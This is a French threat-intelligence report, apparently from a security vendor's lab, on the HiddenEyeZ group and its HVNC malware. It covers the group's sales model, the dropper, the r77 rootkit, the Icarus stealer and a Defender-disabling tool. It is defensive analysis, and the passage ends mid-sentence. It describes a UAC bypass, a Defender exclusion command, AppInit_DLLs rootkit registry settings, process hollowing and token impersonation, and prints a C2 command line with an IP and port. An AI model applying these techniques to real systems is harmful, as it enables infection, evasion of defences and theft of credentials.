Au cours de la récente analyse d'une campagne de distribution de stealers RedLine, l'équipe de Cyber Threat Intelligence de Stormshield (Stormshield Customer Security Lab, SCSL) a mis la main sur des samples de malwares provenant d'un groupe cyber-criminel, nommé HiddenEyeZ. Historique, activité, modèle économique et analyse technique des fichiers malveillants de leur malware : découvrez la carte d’identité du groupe cyber-criminel HiddenEyeZ.
Nos chercheurs en cybersécurité ont creusé pour en savoir plus sur ce groupe, autour de leur activité, de leur modèle économique et de leurs victimes. Focus sur un jeune groupe de cyber-criminels, HiddenEyeZ.
De RedLine à HiddenEyeZ
Notre analyse d’une campagne RedLine a permis de découvrir des dépôts contenant des samples de malwares. Parmi ces samples, certains ne pouvaient pas être reliés aux attaques menées dans cette campagne RedLine. Et en les étudiant de plus près, nous avons découvert que les opérateurs cette campagne utilisaient des malwares vendus par un groupe cyber-criminel : HiddenEyeZ.
Cette analyse se base principalement sur les différents samples trouvés dans les dépôts ainsi que sur un canal Telegram public, sur lequel HiddenEyeZ publie les informations de vente de ses services. En partant de ces différentes informations, nous avons orienté nos recherches afin d'en savoir plus sur le groupe cyber-criminel, sur ses services, son modèle économique, son organisation et ses victimes connues.
HiddenEyeZ : focus sur un groupe de cyber-criminels
Présentation d’HiddenEyeZ
Le groupe cyber-criminel HiddenEyeZ est une organisation proposant à ses clients des offres autour du vol de données sensibles, que ce soit par la vente d'un malware permettant de récupérer des données sur un appareil infecté ou par la vente directe de données qu'ils ont eux-mêmes récupérées.
Ce groupe montre des signes d'activité depuis juillet 2022 et a diffusé son offre commerciale depuis décembre de la même année.
Les éléments que nous avons obtenus montrent que le groupe est au minimum composé de six personnes : un développeur et cinq personnes au support client.
Historique et activité de HiddenEyeZ
Grâce aux éléments collectés, nous avons pu reconstituer l'historique d'activité du groupe. Ces données indiquent que les préparatifs ont duré plusieurs mois, voire années si l'on en croit les acteurs eux-mêmes.
Figure 1 : message d’introduction posté par HiddenEyeZ sur un de leurs canaux Telegram
La seconde partie de l’année 2022 a été majoritairement dédiée à la mise en place de moyens. Nous avons classé ces événements en trois catégories :
- les étapes de préparation technique (orange), à savoir les différentes actions réalisées par le groupe cyber-criminel avant le début de la campagne ;
- les actions de communication (vert), à savoir les événements relatifs à la communication vers les clients (comme la création des canaux de communication et la diffusion des offres) ;
- les mises à jour du produit HiddenEyeZ HVNC (bleu), à savoir les sorties de mises à jour importantes de versions. Ces événements montrent que le développement continue activement depuis la sortie de l'offre. De plus, il y a de nombreux autres ajouts de fonctionnalités au fil de l'eau qui ne sont pas notés dans cette timeline.
Figure 2 : timeline de l'activité du groupe HiddenEyeZ depuis juillet 2022
À l'heure de l'écriture de cet article, le groupe criminel est encore actif sur Telegram.
Plusieurs indices présents dans ces canaux Telegram, comme les captures d'écran ou des messages indiquant des horaires de messages, permettent d’ailleurs de déterminer que le groupe se situe dans les environs du fuseau horaire UTC-6, réunissant les principaux pays suivants (liste non exhaustive) :
- Canada ;
- États-Unis ;
- Mexique.
L'analyse de la fréquence des messages des canaux Telegram liés au groupe au cours de la journée permet de tracer un graphe d'activité. Les messages s'étendent sur une amplitude de 15 heures.
- En bleu, le nombre de messages échangés sur le canal Telegram de partage de tutoriels de hacking au cours de la semaine ;
- En orange, le nombre de message postés sur le canal d'annonces du groupe ;
- En gris, la somme des deux courbes.
Figure 3 : analyse des heures d'activité sur les canaux Telegram du groupe HiddenEyeZ
Modèle économique de HiddenEyeZ
Le groupe propose différents produits et services, comme la licence d'utilisation de leur malware HiddenEyeZ HVNC (RAT/stealer) ou des lots d'informations volées de leurs victimes par le botnet qu'ils gèrent.
Voici la liste des offres du groupe plus en détails :
- HiddenEyeZ HVNC : ce malware développé par le groupe criminel est un RAT et un stealer permettant à un attaquant de récupérer des données sensibles sur les postes de ses victimes (mots de passe, données bancaires, cookies de connexion, portefeuilles de cryptomonnaies, etc). Une analyse plus détaillée de ce malware est présente dans la suite de cet article ;
- HiddenCrypt : ce service permet à un client d'obfusquer un payload avant de le déployer chez une victime. Ainsi, ce client va chercher à éviter les détections par les produits de sécurité (antivirus, sondes réseaux, etc) qui seraient en place chez sa victime ;
- Botnet Log Packs : cette offre permet à un client d'acheter directement en ensemble de données récupérées chez des victimes. Ces informations sensibles sont disponibles avec différentes thématiques spécifiques : données bancaires, portefeuilles de cryptomonnaies ou informations de connexion à des services de cryptomonnaies ;
- distribution de malwares : ce service permet à un client de déployer un malware directement chez des victimes du botnet opéré par le groupe cyber-criminel ;
- tutoriel : cette offre permet à un client d’accéder à des documentations sur la cybercriminalité sur des thématiques spécifiques : botnet, malware, spamming ;
- support après-vente sur Telegram.
Le prix pour une utilisation du malware HiddenEyeZ HVNC au mois est de quelques centaines de dollars et la licence à vie est à 1 500 dollars. À noter que le groupe a recours à des pratiques commerciales traditionnelles, telles que des promotions temporaires.
Figure 4 : message posté par HiddenEyeZ sur un canal Telegram indiquant une promotion sur les achats de licences
Les ventes sont réalisées directement via un bot Telegram ou depuis sellix.io, une plateforme de paiement pour produits dématérialisés acceptant les cryptomonnaies.
Relations entre les comptes Telegram de HiddenEyeZ
Le groupe HiddenEyeZ utilise de nombreux comptes Telegram en relation avec les services proposés. On y retrouve ainsi :
- le compte du canal sur lequel sont diffusées les informations commerciales ;
- le compte "personnel" du développeur du malware HiddenEyeZ HVNC ;
- un compte générique permettant de contacter l'équipe de support ;
- cinq comptes "personnels" de l'équipe de support ;
- un bot de support permettant de consulter une FAQ ;
- un bot permettant la souscription aux services ;
- un bot permettant d'acheter et d'utiliser un service d'obfuscation de payload ;
- un bot publiant des échantillons de données de victimes ;
- le compte du développeur dédié au partage de tutoriels sur le hacking.
Trois canaux ont été identifiés en rapport avec ce groupe :
- le canal principal permettant de diffuser les informations commerciales sur les différentes offres ;
- un canal privé permettant d’échanger avec les acheteurs du malware HiddenEyeZ HVNC ;
- un canal dédié au partage de tutoriels sur le hacking.
Cibles et victimes de HiddenEyeZ
Le groupe HiddenEyeZ publie des échantillons de logs de victimes sur son salon Telegram pour servir de démonstration à de potentiels clients.
En se basant sur les données d'un échantillon de 103 victimes, nous avons pu reconstituer la carte suivante pour en savoir plus sur la localisation des différentes victimes. L'échantillon dont nous disposons n'est que très partiel, puisque cette campagne compte au minimum un millier de victimes.
Figure 5 : carte des victimes du groupe HiddenEyeZ. Les pays en jaunes comptent entre une et cinq victimes de l'échantillon, tandis que ceux en orange en comptent plus de cinq
Bien que cet échantillon ne soit pas représentatif de l'ensemble des victimes, on constate qu’elles sont réparties à travers le monde. Curiosités de l’échantillon : pas une victime constatée en France, ni aux États-Unis.
D’autant plus surprenant que des messages postés sur un canal Telegram montrent un intérêt particulier pour certains pays comme les États-Unis. Le premier message montre que les informations bancaires des États-Unis sont spécifiquement visées. Les deux suivants montrent que le groupe cyber-criminel valorise commercialement les informations récupérées chez les victimes provenant de ce pays :
Figure 6 : trois messages publiés par le groupe HiddenEyeZ sur un de leurs canaux Telegram montrant un intérêt pour les États-Unis
Analyse des fichiers malveillants du malware HiddenEyeZ HVNC
Après avoir étudié le fonctionnement du groupe HiddenEyeZ, nous allons nous intéresser au malware HiddenEyeZ HVNC, leur principal produit.
Nous avons étudié l’écosystème du malware HiddenEyeZ HVNC depuis l’utilisation de son dropper suite à une primo-infection. À savoir :
- Dropper de HiddenEyeZ HVNC ;
- HiddenEyeZ HVNC : le malware lui-même ;
- r77 : le rootkit déployé par HiddenEyeZ HVNC pour accroitre son niveau de furtivité ;
- Icarus : le stealer déployé par HiddenEyeZ HVNC pour effectuer la récupération automatique des données de la victime ;
- Highlander : un outil déployé par HiddenEyeZ HVNC désactivant Windows Defender ;
- AddStartupTask : un outil déployé par HiddenEyeZ HVNC permettant de mettre en place de la persistance.
Voici une vue récapitulative des interactions entre les différents binaires et les serveurs utilisés :
Figure 7 : représentation des interactions entre les composants du malware HiddenEyeZ HVNC
Dropper de HiddenEyeZ HVNC
Carte d'identité du malware
Type of file | PE |
Language used | .NET |
Compilation date | Thu May 6 23:56:32 2038 | Incoherent |
Obfuscation | Renaming of namespaces, classes and functions |
md5 | 4c9bc0e73872ba91b88fda7a45e5379a |
sha1 | be23cf7d356b13a3f233c6b3d807854e8083bd2d |
sha256 | bb86e41bb6d5eccad1ff84ab343506f4f5fcd78b0618966edc0ae0e05fcc8683 |
ssdeep | 3072:L6IxdMnKhwoa5riuHNTapbBgn4qBwS7YXzwIjD6ZGsp:pMnKa5rirpbGn4awS7YXzwIjuZGs |
Présentation
Ce premier sample, nommé Installs.exe, a été trouvé dans l'un des dépôts Bitbucket.org étudiés dans notre article précédent sur la campagne RedLine. Ce binaire a été notre point d'entrée vers le groupe HiddenEyeZ et son environnement.
Ce sample est un dropper et un RAT ayant pour but principal de déployer des stealers qui se chargeront de collecter les informations sensibles des victimes. De plus, il embarque et déploie le composant principal du malware HiddenEyeZ HVNC. Il possède de nombreuses capacités comme :
- le déploiement d'un rootkit ;
- le déploiement d'un stealer ;
- l’évasion d'antivirus ;
- la mise en place de persistance ;
- le déploiement du composant principal de HiddenEyeZ HVNC.
Les méthodes d'infection utilisées semblent jouer sur la crédulité des victimes. Les messages sur le salon Telegram d’HiddenEyeZ évoquent l'utilisation de posts sur les réseaux sociaux avec du contenu alléchant, ayant pour but de mener la victime au téléchargement d'un pack d'images. Parmi ces images, serait inséré un fichier malveillant sous la forme d'un fichier .scr (type de fichiers exécutables sur Windows).
Une autre méthode est l'utilisation d'un bot Discord ayant pour but d'usurper le compte d'une victime pour infecter ses contacts et salons fréquentés.
Figure 8 : message sur un canal Telegram du groupe HiddenEyeZ annonçant un outil d'infection via Discord
Déploiement d'un rootkit
Pour s'assurer d’un bon niveau de furtivité, le sample a la capacité de déployer un rootkit (outil de dissimulation d'activité) en mode utilisateur, nommé r77 (voir la partie« r77 »). Le code suivant récupère l'installateur du rootkit (rt.jpg) à partir d'une URL stockée en dur et le place dans un dossier temporaire. Le fichier est ensuite décodé, exécuté et supprimé afin d'effacer la trace de son déploiement.
Figure 9 : code de déploiement du rootkit r77 dans le dropper de HiddenEyeZ HVNC
Déploiement d'un stealer
Le dropper permet aussi de déployer un stealer connu, que ce soit StormKitty ou Prynt Stealer. Nous ne pouvons pas statuer sur la souche du malware exacte car les deux sont très proches.
- StormKitty est un malware dont les sources sont disponibles publiquement sur GitHub. Il est apparu en 2020 et son développement s'est achevé durant cette même année.
- De son côté, Prynt Stealer est une évolution de StormKitty, apparue en 2022 et vendue sur le darknet. Nous avons retrouvé parmi les samples étudiés un builder de Prynt Stealer, ce qui nous fait penser que le stealer déployé serait de ce type.
Ce stealer est téléchargé depuis une URL stockée en dur sur le dépôt distant sous le nom patata.jpg. Il est alors décodé et stocké sur le disque dans un dossier temporaire sous le nom svchost.exe. Un script svchost.bat est créé pour l'occasion. Il exécute ensuite le stealer, puis s'auto supprime.
Figure 10 : code de déploiement du stealer dans le dropper de HiddenEyeZ HVNC
Ce stealer permet par exemple de récupérer :
- des informations du système (version, CPU, GPU, RAM, IPs, BSSID, localisation, métriques de l'écran, logiciels installés) ;
- des données gérées par les navigateurs web (mots de passe, cartes de crédit, cookies, historique, favoris) ;
- des informations sur les réseaux Wi-Fi (SSID, BSSID) ;
- des fichiers suivants leur type (documents, images, codes source, base de données) ;
- les données permettant de s'identifier à une session de logiciels :
- plateformes de jeux (Steam, Uplay, Battle.Net, Minecraft) ;
- logiciels de communication (Telegram, Outlook, Pidgin, Skype, Discord) ;
- Filezilla ;
- VPN (ProtonVPN, OpenVPN, NordVPN) ;
- les frappes clavier ;
- les données stockées dans le presse papier ;
- des copies d'écran et des images de webcam ;
- des portefeuilles de cryptomonnaies ;
- la liste des processus.
Évasion d'antivirus
Afin de ne pas lever d'alarmes, le sample va s'ajouter lui-même en exclusion de Windows Defender via la commande Add-MpPreference. Cette action nécessitant les droits d'administrateur de la machine, le binaire va utiliser un mécanisme connu de Bypass d'UAC (Contrôle d'accès de Windows) via l'utilisation de computerdefaults.exe. La méthode consiste à placer une commande dans la clé registre HKCU\Software\Classes\ms-settings\shell\open\command
puis à appeler ComputerDefaults.exe
. La commande sera exécutée dans le contexte de ComputerDefaults.exe qui sera lancé en administrateur sans présenter l'interface d'UAC si le compte courant le permet.
Figure 11 : code de mise en place de l'exclusion de Windows Defender dans le dropper de HiddenEyeZ HVNC
Mise en place de persistance
Le dropper met en place un moyen de persistance pour s'assurer d'être relancé au prochain redémarrage du système. Pour cela, il inscrit son exécutable dans la clé de registre HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
. Cette modification de la base de registre est déléguée à un script VBS placé dans %LOCALAPPDATA%\excecution.vbs
.
Déploiement du composant principal de HiddenEyeZ HVNC
Ce sample embarque également un autre module, permettant de réaliser les actions typiques d'un RAT : HiddenEyeZ HVNC (voir la partie « HiddenEyeZ HVNC »). Il est contenu dans l'exécutable du sample du dropper, doublement encodé en base64.
Le malware HiddenEyeZ HVNC est lancé en utilisant une technique de process hollowing. Tout d'abord, l'exécutable cvtres.exe du framework .NET est démarré avec l'attribut suspendu. Par la suite, les sections de l'exécutable sont retirées de la mémoire du processus et les données du module du RAT sont placées en mémoire. Le processus sort alors de son état de pause pour commencer l'exécution et la méthode TryRun implémente le process hollowing.
De cette manière, HiddenEyeZ HVNC apparaitra comme une exécution légitime de cvtres.exe. Dans notre cas, voici la ligne de commande apparente : "cvtres.exe HiddenEyeZ_Client 5.75.162.221 8081 mPgxExkLE"
. On y remarque une référence à HiddenEyeZ et à l'adresse du serveur de contrôle. De plus, le dropper démarre le RAT dans un bureau Windows secondaire, ce qui permet de cacher à l'utilisateur les actions visuelles réalisées par HiddenEyeZ HVNC.
Figure 12 : code de déploiement du composant principal du malware HiddenEyeZ HVNC
HiddenEyeZ HVNC
Carte d'identité du malware
Type of file | PE |
Language used | .NET |
Compilation date | Sat Mar 25 03:59:41 2045 | Incoherent |
Obfuscation | No |
md5 | 3ebd5b7adb726ccd04079e3dc114063b |
sha1 | bf84a490838c741631ba641d0fd673f3043a5751 |
sha256 | ba1615c7617f148228c587ffe7607ac841fd682ba4905f4af53e18d601b84102 |
ssdeep | 3072:L6IxdMnKhwoa5riuHNTapbBgn4qBwS7YXzwIjD6ZGsp:pMnKa5rirpbGn4awS7YXzwIjuZGs |
Présentation du malware
Ce sample est celui embarqué et exécuté par Install.exe. Cet exécutable est un sample du RAT HiddenEyeZ HVNC, développé, utilisé et vendu par le groupe HiddenEyeZ.
Ce malware est utilisé pour voler des informations sensibles des victimes (mots de passe, fichiers personnels, portefeuilles de cryptomonnaies, etc.). Pour cela, il possède deux capacités principales :
- déployer le stealer Icarus (voir la partie « Icarus ») ;
- donner un accès HVNC (Hidden VNC) qui est une fonctionnalité pour interagir via une interface graphique avec la machine cible. Ces interactions sont invisibles pour la victime (voir la partie « Bureau caché »).
Description détaillée du malware
Ce malware récupère ses ordres depuis son serveur de C2 dont l'adresse lui est communiquée par les arguments de sa ligne de commande. Les messages reçus du serveur permettent d'activer un ensemble de fonctionnalités :
- désactivation de Windows Defender :
- téléchargement et lancement de l'exécutable Highlander ;
- lancement de logiciels sur un bureau caché :
- navigateurs web en mettant en place du monitoring pour récupérer des données ;
- clients mails ;
- éditeurs de textes ;
- logiciels de discussions (Skype, Discord, Telegram) ;
- utilitaire de portefeuilles de cryptomonnaies ;
- configuration du système Windows ;
- explorateur Windows ;
- consoles (cmd et PowerShell) ;
- utilisation du bureau caché par le cyber-attaquant :
- manipulation de fenêtres ;
- clic sur la machine cible ;
- écriture / récupération des données du copier / coller ;
- récupération d'informations du système (FPS, résolution écran) utilisées pour le bureau caché ;
- arrêt de processus :
- un processus arbitraire (PID) ;
- les navigateurs web ;
- Putty ;
- les clients mails ;
- les logiciels de discussions (Skype, Discord, Telegram) ;
- téléchargement et lancement d'un binaire arbitraire (via Powershell) ;
- déploiement d'un stealer :
- téléchargement et lancement du stealer Icarus ;
- mise en place de persistance (téléchargement et lancement d'un outil dédié, AddStartupTask) :
- création de tâches planifiées ;
- ajout de persistance pour l'exécutable ;
- mise en place de moyens de furtivité :
- téléchargement, démarrage et arrêt du rootkit r77 ;
- auto-désinstallation.
Organisation des composants
Une partie des fonctionnalités du malware n'est pas intégrée dans son code source, mais déléguée à d'autres outils qui sont téléchargés et déployés à la demande. Tous les téléchargements d'exécutables ou des bibliothèques .NET nécessaires à leur exécution sont réalisés depuis le site hxxps://hiddeneyez.com/icar/.
Figure 13 : listing des fichiers disponibles sur le dépôt /icar/ du malware HiddenEyeZ HVNC (non exhaustif)
Outil de génération
Le malware HiddenEyeZ HVNC est généré à partir d'un builder permettant de configurer et de générer le sample du malware. De nombreuses fonctionnalités peuvent être activées ou non suivant la volonté de l'utilisateur.
Voici une capture d'écran du builder permettant de choisir les fonctionnalités à incorporer dans l'exécutable généré.
Figure 14 : interface du builder permettant de configurer et de générer le sample du malware HiddenEyeZ
Bureau caché
Le malware HiddenEyeZ donne la possibilité à l'attaquant de lancer les logiciels sur un bureau secondaire, invisible sur le poste de la victime. Cela est possible par la création d'un bureau dédié aux actions malveillantes. L’intérêt d'une telle fonctionnalité est de permettre à l'attaquant d'exécuter des actions directement depuis le poste de la victime, en utilisant les informations volées à la victime (logins, mots de passe, etc. ou celles déjà présentes sur la machine comme les cookies de session, les mots de passes stockés dans le navigateur et autres). L'adresse IP de connexion de ce poste est sans doute déjà connue des services distants (type banque ou cryptomonnaies) qui ne lèveront pas d'alerte pour cause de connexions suspectes ou frauduleuses, comme ce serait le cas depuis un autre ordinateur.
Ainsi, l'attaquant peut avoir une vue graphique et y effectuer des actions sans que la victime ne s'en rende compte. Il a la capacité de naviguer sur le système et de lancer par exemple les navigateurs et les clients mail de la victime pour y retrouver davantage d’informations sensibles.
Voici quelques captures écrans communiquées par les développeurs du groupe pour présenter la console d'administration HiddenEyeZ HVNC. On y voit par exemple des listes de logiciels pris en charge dans le bureau caché.
Figure 15 : captures écran de l’interface de l’outil d'administration du malware HiddenEyeZ
Déploiement du stealer Icarus
Ce malware HiddenEyeZ propose de déployer un stealer tiers qui permet de récupérer automatiquement des données sensibles de la victime. Ce stealer est un autre malware connu : Icarus.
L'extrait de code suivant montre le téléchargement, l'écriture, le lancement et la suppression de l'exécutable du stealer.
Figure 16 : code de déploiement du stealer Icarus
Une fois l'exécution d'Icarus terminée, HiddenEyeZ HVNC exfiltre l'archive contenant toutes les données récupérées sur le poste de la victime.
r77
r77 est un rootkit récupéré sous les fichiers rt.jpg et remove.jpg sur hiddeneyez[.]com et sur le dépôt Github HiddenEyeZ par le dropper et HiddenEyeZ HVNC. Ces binaires constituent l'installateur (rt.jpg) et le désinstallateur (remove.jpg) du rootkit dont les sources sont disponibles ici : github.com/bytecode77/r77-rootkit.
Comme indiqué dans sa documentation, il s'agit d'un rootkit userland permettant de masquer :
- des fichiers ou répertoires ;
- des processus et l'utilisation du CPU ;
- des clés de registres et leur valeur ;
- des services ;
- des connexions (TCP, UDP) ;
- des tâches planifiées ;
- des jonctions, des pipes nommés, et des tâches planifiées.
Son analyse semble toutefois montrer qu'il s'agit ici d'une version allégée, puisque toutes ces fonctionnalités ne sont pas présentes dans le sample analysé.
Ces deux fichiers étaient présents sur le dépôt encodé en base64 avec une extension .jpg, dans l'objectif d'éviter la détection via signature par les solutions de sécurité. Nous avons donc procédé à leur décodage avant de les analyser.
Installateur de r77
Carte d'identité
Type of file | PE |
Language used | .NET |
Compilation date | Wed Jul 13 17:30:36 2022 |
Obfuscation | No |
md5 | a532918af845ed035c6882d6ae173d03 |
sha1 | 7b0dadd2b5b6200676a7daf68f95d47319513f81 |
sha256 | 4604e501fb4efb5ce862e81232c61b29e4470b5313055efb291593d66f23af7e |
ssdeep | 24576:fBm2D0GlV7LJMLMVSBsalgydd4jnYnyeiRyi5+fEilGQ8Joz078UfJeOYyF42fQo:Q2D0mV76LMV1algAkYPY+78J04r4zzW |
L'installateur de r77 est obtenu une fois le fichier rt.jpg, présent sur le dépôt, décodé.
Présentation
L'installation du rootkit est simple, le binaire contient dans ses ressources deux fichiers DLL : un 32 bits et un 64 bits. Le fichier DLL correspondant à la version du système d'exploitation ciblé (64 ou 32 bits) est récupéré dans les ressources ; puis copié dans le répertoire %APPDATA%
.
La suite de sa mise en place consiste à référencer ces fichiers dans la clé de registre adéquate et d'en modifier deux autres :
Register value | Description |
HKLMSOFTWAREMicrosoftWindows NTCurrentVersionWindowsLoadAppInit_DLLs | Value set to 1, enables the AppInit_DLLs mechanism |
HKLMSOFTWAREMicrosoftWindows NTCurrentVersionWindowsRequireSignedAppInit_DLLs | Value set to 0 to load unsigned DLLs |
HKLMSOFTWAREMicrosoftWindows NTCurrentVersionWindowsAppInit_DLLs | Contains the path to the DLL to be loaded (r77-x64.dll or r77-x86.dll) |
Le chargement de ces DLLS malveillantes est réalisé automatiquement par user32.dll et, par conséquent, par chaque programme qui l'utilise. C'est à dire la plupart des programmes disposant d'une interface graphique.
La documentation précise qu'à partir de Windows 8, le mécanisme AppInit_DLLs est désactivé lorsque la fonctionnalité Secure Boot est activée, ce qui réduit le nombre de cibles potentielles.
Plus d'infos sur le mécanisme d'AppInit_DLLs sont à retrouver sur le site de Microsoft, dont voici un extrait : « AppInit_DLLs est un mécanisme qui permet de charger une liste arbitraire de DLL dans chaque processus en mode utilisateur sur le système. Microsoft modifie l’installation des DLL AppInit dans Windows 7 et Windows Server 2008 R2 pour ajouter une nouvelle exigence de signature de code. Cela aidera à améliorer la fiabilité et les performances du système, ainsi qu’à améliorer la visibilité sur l’origine du logiciel ».
Figure 17 : code de l'installation du rootkit r77
La modification de ces clés nécessitant des privilèges administrateur, la technique de contournement d'UAC vue précédemment (voir la partie « Dropper de HiddenEyeZ HVNC ») est réutilisée dans ce binaire.
Désinstalleur de r77
Carte d'identité
Type of file | PE |
Language used | .NET |
Compilation date | Thu Dec 6 16:06:38 2040 | Incoherent |
Obfuscation | No |
md5 | d406a1906ed519562f2524a03bf2ff40 |
sha1 | 38b73304bfaf8db51b63946cd4ab29fa48c15816 |
sha256 | 6c1b2c9ae4887ff134bd098cab3e6c5ada1482f45a129ccc858733a545a10619 |
ssdeep | 192:/MxThhi8bE8yM8MlrljlQ0ljgcR/ytyLabWW:/4fi8bE8yM8UR/lLabW |
Voici quelques détails techniques complémentaires :
- la version du framework .NET utilisée est la v4.0.30319, plutôt ancienne (~2010), mais présente systématiquement dans les OS Windows ;
- la date de compilation est cette fois située dans le futur (6 décembre 2040), donc non exploitable. Néanmoins, cela permet d'indiquer que les exécutables n'ont pas tous été compilés de la même façon, voire par plusieurs personnes différentes ;
- un chemin vers le fichier de débogage est également présent :
C:\Users\dride\Desktop\New folder (3)\ICARUS3-main\ICARUS-main\Stubs\Stubs\and\rest\Of\mofos\Junk\and\Stolen\Code\remove\obj\Release\net40\Install.pdb
Présentation
Il s'agit du désinstallateur du rootkit r77. Le principe de désinstallation est minimaliste et brutal, car il consiste à supprimer la valeur de la clé de registre AppInit_DLLs permettant le chargement du fichier DLL malveillant.
Figure 18 : code de désinstallation du rootkit r77
On peut remarquer que si, lors de l'installation, trois clés de registres sont modifiées, seule la clé AppInit_DLLs
est remise à zéro lors de la désinstallation. Cela constitue un indicateur de compromission non spécifique de r77 mais permanent de son passage sur le système. Par ailleurs, si la clé AppInit_DLLs était utilisée par un autre logiciel, ce paramétrage se fait retirer.
De plus, le script de désinstallation ne supprime pas les fichiers DLL déployés lors de l'installation ; ils restent donc dans ce dossier de façon permanente.
Code malveillant des fichiers DLL de r77
Carte d'identité
Type of file | PE | PE |
Language used | C/C++ | C/C++ |
Architecture | 32 bits | 64 bits |
Compilation date | Wed Jul 13 17:29:32 2022 | Wed Jul 13 17:29:27 2022 |
Obfuscation | no | no |
md5 | bf2ac81c25ebc55e88af9233c6c0e1b5 | 8d54e4abe1762f96134a0c874cfb8cdc |
sha1 | 096d850244c31a9d4c1da7ac3b243e3f61b503d8 | 336f3fb4baa098ea4f54d881f2a2cf696e37c44e |
sha256 | ed3ee849ae71001941d03983a65eacdd726be75d91b076475a89a3a75e79d82e | 2141974f665f4d8fecb6d8ea06add624b57f320f901368847175570ee716fd8e |
ssdeep | 24576:75+fEilGQ8Joz078UfJeOYyF42fQhz03:d+78J04r4zzW | 24576:jBm2D0GlV7LJMLMVSBsalgydd4jnYnyeiRy:M2D0mV76LMV1algAkYP |
Présentation
Chaque fichier DLL chargé via le mécanisme AppInit_DLLs
renferme le rootkit en lui-même qui est chargé de dissimuler les activités malveillantes.
Pour atteindre cet objectif, la bibliothèque Detours (github.com/microsoft/detours) est utilisée. Il s'agit d'une bibliothèque permettant de placer des hooks en mémoire afin de détourner le flux d'exécution de programmes vers des fonctions définies par développeur, ici à des fins malveillantes.
Pose de hooks
Les appels systèmes NtQuerySystemInformation
et zwQueryDirectoryFile
sont hookés :
- ZwQueryDirectoryFile est la fonction responsable de récupérer les informations sur les fichiers contenus dans un répertoire. Ce hook est utilisé ici pour dissimuler des fichiers ou dossiers et est placé uniquement dans la version 64 bits de la DLL.
- NtQuerySystemInformation permet entre autres de renvoyer des informations sur les processus en cours d'exécution, cette fonction est donc modifiée pour dissimuler des processus.
Figure 19 : aperçu de la mise en place des hooks
Nous constatons la présence de "seulement" deux hooks, alors que la version la plus récente de r77 sur le projet Github.com en compte une dizaine. Comme l'indiquent les chemins des fichiers de débogages trouvés dans les fichiers DLL, il s'agit visiblement d'une version personnalisée du rootkit :
F:\r77-Custom-rootkit-masterVENOM\x64\Debug\r77-x64.pdb
F:\r77-Custom-rootkit-masterVENOM\Debug\r77-x86.pdb
F:\r77-Custom-rootkit-masterVENOM\Install\obj\Debug\Install.pdb
Icarus
Carte d'identité du stealer
Type of file | PE |
Language used | .NET |
Compilation date | Sun Nov 27 01:42:33 2022 |
Obfuscation | No |
md5 | 712871412b0da86d7bc1f1601e1fa212 |
sha1 | 14a59ee663cd6ff1b816a62e2078aa434cdf1da5 |
sha256 | 6b4ea42c1de9777847d7b6f980976310abe46d2de9792045a6eba54b032b8520 |
ssdeep | 49152:BNNm/5XhG34AiROEw+W7SCmnVQjkQxBA8hA:nU11lw/CFyA |
Présentation du stealer
Icarus.exe est un stealer, proche fonctionnellement de StormKitty ou Prynt Stealer précédemment abordés, qui collecte de nombreuses informations :
- données bancaires ;
- cryptomonnaies ;
- données de navigation (historique, cookies, mots de passe, téléchargements) pour les principaux navigateurs : Edge, Firefox, Chrome / Chromium ;
- comptes de jeux vidéos : Steam, Battlenet, Uplay, Minecraft ;
- données de messageries : Discord, Element, Icq, Outlook, Pidgin, Signal, Skype, Telegram, Tox ;
- données système : applications installées, clé de licence Windows, informations système ;
- codes wifi enregistrés ;
- captures d'écrans ;
- frappes clavier ;
- accès VPNs (ProtonVPN, OpenVPN, NordVPN) ;
- vol de fichiers selon leurs extensions.
Lors de la construction du sample, il est possible de sélectionner quels fichiers ou données doivent être collectés. Cette configuration est ensuite enregistrée dans le binaire.
Dans le cas précis de ce sample, les extensions de fichiers renseignées correspondent à des fichiers classiques : documents Microsoft Office, base de données de mots de passe, mais aussi plus spécifiques à certains secteurs tels que des fichiers de code source ou de bases de données métier. Le spectre d'utilisation est donc très large, il vise aussi bien les particuliers que les entreprises.
Une fonctionnalité "PornService" permet même de réaliser des captures d'écran et de webcam simultanément lorsque certains mots-clés sont repérés par le keylogger. Pas besoin de lister les mots-clés pour faire comprendre que l’objectif final est la sextorsion.
Ces données sont ensuite exfiltrées via différents canaux : chats Discord, sites de partage de fichiers (gofile, anonfile) ou encore canaux Telegram.
Figure 20 : code du formatage des données avant l'envoi sur Discord par le stealer Icarus
Mécanismes d’autoprotection du stealer
Ce binaire contient plusieurs moyens de se protéger contre des détections par des produits de sécurité :
- l'autodestruction déclenchée par exemple si le serveur discord n'est pas joignable ;
- la détection de sandbox et de machine virtuelle ;
- la détection de débogage ;
- la détection parmi les processus lancés si certains sont des outils habituellement utilisés par les analystes.
Figure 21 : code de blacklist de logiciels de sécurité par le stealer Icarus
Origine probable du stealer
Renommé Icarus dans les samples trouvés, le chemin de PDB se trouvant dans le binaire indique qu'il s'agit de Stealerium ou d'une variante, disponible en open source (github.com/Stealerium/Stealerium) :
H:\HVNCICARUS\Icarus\Icarus - Nocrypt\HVNC Source\Stealerium-Build_2022.06.08_22-08\Stub\obj\Debug\Icarus.pdb
Ci-dessous, une comparaison entre du code du sample décompilé et le code présent sur le dépôt de Stealerium où on peut noter une forte ressemblance :
Figure 22 : comparaison des codes entre le sample Icarus et le dépôt de Stealerium
Highlander
Carte d'identité
Type of file | PE |
Language used | .NET |
Compilation date | Sun Feb 27 23:06:01 2101 | Incoherent |
Obfuscation | No |
md5 | b785943821261b267d3f3d686fc013e6 |
sha1 | a2e4412c9e1cf33c668e786c2bdec35c2f86a688 |
sha256 | a8361bd86b7859c0d93c8470975e9ffd20765c42ecb49491c029542213410a85 |
ssdeep | 192:6QUlf6ETyQ7H3QxX5ARunnf0HD7mZoPfYIqL0HjvFYx:TU4ET9b3QV5Tnn3KH1yINY |
Présentation
Cet outil, déployé par HiddenEyeZ HVNC, ne remplit qu'une seule fonctionnalité : désactiver Windows Defender.
Son fonctionnement est assez basique pour être décrit en intégralité :
- démarrage du service
TrustedInstaller
: cette étape permet de s'assurer qu'un processus est en cours d'exécution sous le compte TrustedInstaller ; - tentative d'usurpation du compte
SYSTEM
via une impersonation : le malware tente d'ouvrir le token du processusWinlogon
s'exécutant sous le compte SYSTEM et de s'impersonner avec pour objectif d'effectuer une première élévation de privilèges. À noter que cette opération nécessite des privilèges qui ne sont disponibles que pour les comptes administrateur ; - tentative d'usurpation du compte
TrustedInstaller
via une impersonation : le malware tente de réaliser la même action avec le compteTrustedInstaller
